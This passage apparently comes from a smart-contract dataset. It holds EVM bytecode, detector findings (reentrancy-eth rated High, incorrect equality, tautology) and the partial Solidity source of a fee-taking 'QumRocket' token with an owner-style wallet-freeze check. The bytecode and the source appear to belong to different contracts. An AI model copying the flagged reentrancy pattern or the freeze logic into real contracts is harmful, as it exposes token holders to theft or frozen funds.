900473ffffffffffffffffffffffffffffffffffffffff16905090565b6110e861172e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611175576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116c906138d6565b60405180910390fd5b80601c60146101000a81548160ff02191690831515021790555042600b8190555050565b601e5481565b60606040518060400160405280600781526020017f534849444f4b4900000000000000000000000000000000000000000000000000815250905090565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661121d61172e565b73ffffffffffffffffffffffffffffffffffffffff161461123d57600080fd5b80601f8190555050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661128861172e565b73ffffffffffffffffffffffffffffffffffffffff16146112a857600080fd5b600082101580156112ba5750601e8211155b6112c357600080fd5b600081101580156112d55750601e8111155b6112de57600080fd5b81600c8190555080600d819055505050565b60006113046112fd61172e565b8484611901565b6001905092915050565b6000601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661137961172e565b73ffffffffffffffffffffffffffffffffffffffff161461139957600080fd5b600082101580156113ab5750601e8211155b6113b457600080fd5b600081101580156113c65750601e8111155b6113cf57600080fd5b81600f81905550806011819055505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114a961172e565b73ffffffffffffffffffffffffffffffffffffffff16146114c957600080fd5b600081101580156114db575060c88111155b6114e457600080fd5b610e10816114f29190613b22565b601a8190555050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661153c61172e565b73ffffffffffffffffffffffffffffffffffffffff161461155c57600080fd5b80601e8190555050565b61156e61172e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f2906138d6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561166b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166290613836565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601a5481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156117a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179d90613976565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180d90613856565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118f491906139b6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611971576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196890613916565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d8906137b6565b60405180910390fd5b60008111611a24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1b906138f6565b60405180910390fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ab1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa890613956565b60405180910390fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611b3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3590613956565b60405180910390fd5b60096000611b4a61172e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611bd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc990613956565b60405180910390fd5b611bda6110b7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c485750611c186110b7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121f457601c60149054906101000a900460ff16611c9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c93906137d6565b60405180910390fd5b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611d475750601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611eb4573073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611db457503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611e0e5750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611e685750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611eb357601d54811115611eb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ea990613816565b60405180910390fd5b5b5b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611f605750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611f9857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611fd2575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561202f57601e5481611fe484610d8d565b611fee9190613a9b565b1061202e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202590613936565b60405180910390fd5b5b600061203a30610d8d565b90506000601f548211905080801561205f5750601c60159054906101000a900460ff16155b80156120b95750601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156120d15750601c60169054906101000a900460ff165b80156121275750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561217d5750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121f15760008060145411156121c2576121b660646121a860145486612a7e90919063ffffffff16565b612af990919063ffffffff16565b90506121c181612b43565b5b6121d681846121d19190613b7c565b6127f6565b600047905060008111156121ee576121ed4761271c565b5b50505b50505b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061229b5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061234e5750601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561234d5750601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561235c57600090506126a6565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156124075750601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156125295742600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e54601281905550600f54601381905550600b54421415612528576001600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156125d45750601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156126a5576000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414158015612675575042601a54600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126729190613a9b565b10155b1561269157600c54601281905550600d546013819055506126a4565b6010546012819055506011546013819055505b5b5b6126b284848484612b53565b50505050565b6000838311158290612700576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126f79190613794565b60405180910390fd5b506000838561270f9190613b7c565b9050809150509392505050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612784573d6000803e3d6000fd5b5050565b60006007548211156127cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127c6906137f6565b60405180910390fd5b60006127d9612b80565b90506127ee8184612af990919063ffffffff16565b915050919050565b6001601c60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561282e5761282d613d0d565b5b60405190808252806020026020018201604052801561285c5781602001602082028036833780820191505090505b509050308160008151811061287457612873613cde565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561291657600080fd5b505afa15801561292a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061294e9190613261565b8160018151811061296257612961613cde565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506129c930601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611736565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612a2d9594939291906139d1565b600060405180830381600087803b158015612a4757600080fd5b505af1158015612a5b573d6000803e3d6000fd5b50505050506000601c60156101000a81548160ff02191690831515021790555050565b600080831415612a915760009050612af3565b60008284612a9f9190613b22565b9050828482612aae9190613af1565b14612aee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ae5906138b6565b60405180910390fd5b809150505b92915050565b6000612b3b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612bab565b905092915050565b612b503061dead83611901565b50565b80612b6157612b60612c0e565b5b612b6c848484612c70565b80612b7a57612b79612e3b565b5b50505050565b6000806000612b8d612e58565b91509150612ba48183612af990919063ffffffff16565b9250505090565b60008083118290612bf2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612be99190613794565b60405180910390fd5b5060008385612c019190613af1565b9050809150509392505050565b6000601254148015612c2257506000601354145b8015612c3057506000601454145b15612c3a57612c6e565b6012546015819055506013546016819055506014546017819055506000601281905550600060138190555060006014819055505b565b600080600080600080612c8287612eba565b955095509550955095509550612ce086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f2290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d7585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f6c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc181612fca565b612dcb8483613087565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612e2891906139b6565b60405180910390a3505050505050505050565b601554601281905550601654601381905550601754601481905550565b600080600060075490506000683635c9adc5dea000009050612e8e683635c9adc5dea00000600754612af990919063ffffffff16565b821015612ead57600754683635c9adc5dea00000935093505050612eb6565b81819350935050505b9091565b6000806000806000806000806000612ed78a6012546013546130c1565b9250925092506000612ee7612b80565b90506000806000612efa8e878787613157565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612f6483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506126b8565b905092915050565b6000808284612f7b9190613a9b565b905083811015612fc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fb790613876565b60405180910390fd5b8091505092915050565b6000612fd4612b80565b90506000612feb8284612a7e90919063ffffffff16565b905061303f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f6c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61309c82600754612f2290919063ffffffff16565b6007819055506130b781600854612f6c90919063ffffffff16565b6008819055505050565b6000806000806130ed60646130df888a612a7e90919063ffffffff16565b612af990919063ffffffff16565b905060006131176064613109888b612a7e90919063ffffffff16565b612af990919063ffffffff16565b9050600061314082613132858c612f2290919063ffffffff16565b612f2290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806131708589612a7e90919063ffffffff16565b905060006131878689612a7e90919063ffffffff16565b9050600061319e8789612a7e90919063ffffffff16565b905060006131c7826131b98587612f2290919063ffffffff16565b612f2290919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000813590506131ef8161415e565b92915050565b6000815190506132048161415e565b92915050565b60008135905061321981614175565b92915050565b60008135905061322e8161418c565b92915050565b60006020828403121561324a57613249613d3c565b5b6000613258848285016131e0565b91505092915050565b60006020828403121561327757613276613d3c565b5b6000613285848285016131f5565b91505092915050565b600080604083850312156132a5576132a4613d3c565b5b60006132b3858286016131e0565b92505060206132c4858286016131e0565b9150509250929050565b6000806000606084860312156132e7576132e6613d3c565b5b60006132f5868287016131e0565b9350506020613306868287016131e0565b92505060406133178682870161321f565b9150509250925092565b6000806040838503121561333857613337613d3c565b5b6000613346858286016131e0565b92505060206133578582860161321f565b9150509250929050565b60006020828403121561337757613376613d3c565b5b60006133858482850161320a565b91505092915050565b6000602082840312156133a4576133a3613d3c565b5b60006133b28482850161321f565b91505092915050565b600080604083850312156133d2576133d1613d3c565b5b60006133e08582860161321f565b92505060206133f18582860161321f565b9150509250929050565b60006134078383613413565b60208301905092915050565b61341c81613bb0565b82525050565b61342b81613bb0565b82525050565b600061343c82613a56565b6134468185613a79565b935061345183613a46565b8060005b8381101561348257815161346988826133fb565b975061347483613a6c565b925050600181019050613455565b5085935050505092915050565b61349881613bc2565b82525050565b6134a781613c05565b82525050565b6134b681613c17565b82525050565b60006134c782613a61565b6134d18185613a8a565b93506134e1818560208601613c4d565b6134ea81613d41565b840191505092915050565b6000613502602383613a8a565b915061350d82613d52565b604082019050919050565b6000613525601883613a8a565b915061353082613da1565b602082019050919050565b6000613548602a83613a8a565b915061355382613dca565b604082019050919050565b600061356b601c83613a8a565b915061357682613e19565b602082019050919050565b600061358e602683613a8a565b915061359982613e42565b604082019050919050565b60006135b1602283613a8a565b91506135bc82613e91565b604082019050919050565b60006135d4601b83613a8a565b91506135df82613ee0565b602082019050919050565b60006135f7603483613a8a565b915061360282613f09565b604082019050919050565b600061361a602183613a8a565b915061362582613f58565b604082019050919050565b600061363d602083613a8a565b915061364882613fa7565b602082019050919050565b6000613660602983613a8a565b915061366b82613fd0565b604082019050919050565b6000613683602583613a8a565b915061368e8261401f565b604082019050919050565b60006136a6602383613a8a565b91506136b18261406e565b604082019050919050565b60006136c9600d83613a8a565b91506136d4826140bd565b602082019050919050565b60006136ec602483613a8a565b91506136f7826140e6565b604082019050919050565b600061370f600c83613a8a565b915061371a82614135565b602082019050919050565b61372e81613bee565b82525050565b61373d81613bf8565b82525050565b60006020820190506137586000830184613422565b92915050565b6000602082019050613773600083018461348f565b92915050565b600060208201905061378e600083018461349e565b92915050565b600060208201905081810360008301526137ae81846134bc565b905092915050565b600060208201905081810360008301526137cf816134f5565b9050919050565b600060208201905081810360008301526137ef81613518565b9050919050565b6000602082019050818103600083015261380f8161353b565b9050919050565b6000602082019050818103600083015261382f8161355e565b9050919050565b6000602082019050818103600083015261384f81613581565b9050919050565b6000602082019050818103600083015261386f816135a4565b9050919050565b6000602082019050818103600083015261388f816135c7565b9050919050565b600060208201905081810360008301526138af816135ea565b9050919050565b600060208201905081810360008301526138cf8161360d565b9050919050565b600060208201905081810360008301526138ef81613630565b9050919050565b6000602082019050818103600083015261390f81613653565b9050919050565b6000602082019050818103600083015261392f81613676565b9050919050565b6000602082019050818103600083015261394f81613699565b9050919050565b6000602082019050818103600083015261396f816136bc565b9050919050565b6000602082019050818103600083015261398f816136df565b9050919050565b600060208201905081810360008301526139af81613702565b9050919050565b60006020820190506139cb6000830184613725565b92915050565b600060a0820190506139e66000830188613725565b6139f360208301876134ad565b8181036040830152613a058186613431565b9050613a146060830185613422565b613a216080830184613725565b9695505050505050565b6000602082019050613a406000830184613734565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613aa682613bee565b9150613ab183613bee565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613ae657613ae5613c80565b5b828201905092915050565b6000613afc82613bee565b9150613b0783613bee565b925082613b1757613b16613caf565b5b828204905092915050565b6000613b2d82613bee565b9150613b3883613bee565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613b7157613b70613c80565b5b828202905092915050565b6000613b8782613bee565b9150613b9283613bee565b925082821015613ba557613ba4613c80565b5b828203905092915050565b6000613bbb82613bce565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613c1082613c29565b9050919050565b6000613c2282613bee565b9050919050565b6000613c3482613c3b565b9050919050565b6000613c4682613bce565b9050919050565b60005b83811015613c6b578082015181840152602081019050613c50565b83811115613c7a576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e67206e6f742079657420656e61626c6564210000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4d6178696d756d207472616e73616374696f6e20616d6f756e74206d7573742060008201527f62652067726561746572207468616e20302e3125000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f53746f7020736e6970696e672100000000000000000000000000000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f57726f6e6720616d6f756e740000000000000000000000000000000000000000600082015250565b61416781613bb0565b811461417257600080fd5b50565b61417e81613bc2565b811461418957600080fd5b50565b61419581613bee565b81146141a057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f6685dc1a9c4267f8eafd48342cff75d6473c6f38c809df1f55b59be2f71d8f664736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 7,953 |
0xbeb0973f9289e526e29aff36b672607bff6438b1
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract QumRocket is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"QumRocket"; ////
string public constant symbol = unicode"QUMROCKET"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable private _FeeAddress1;
address payable private _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 10;
uint public _sellFee = 10;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
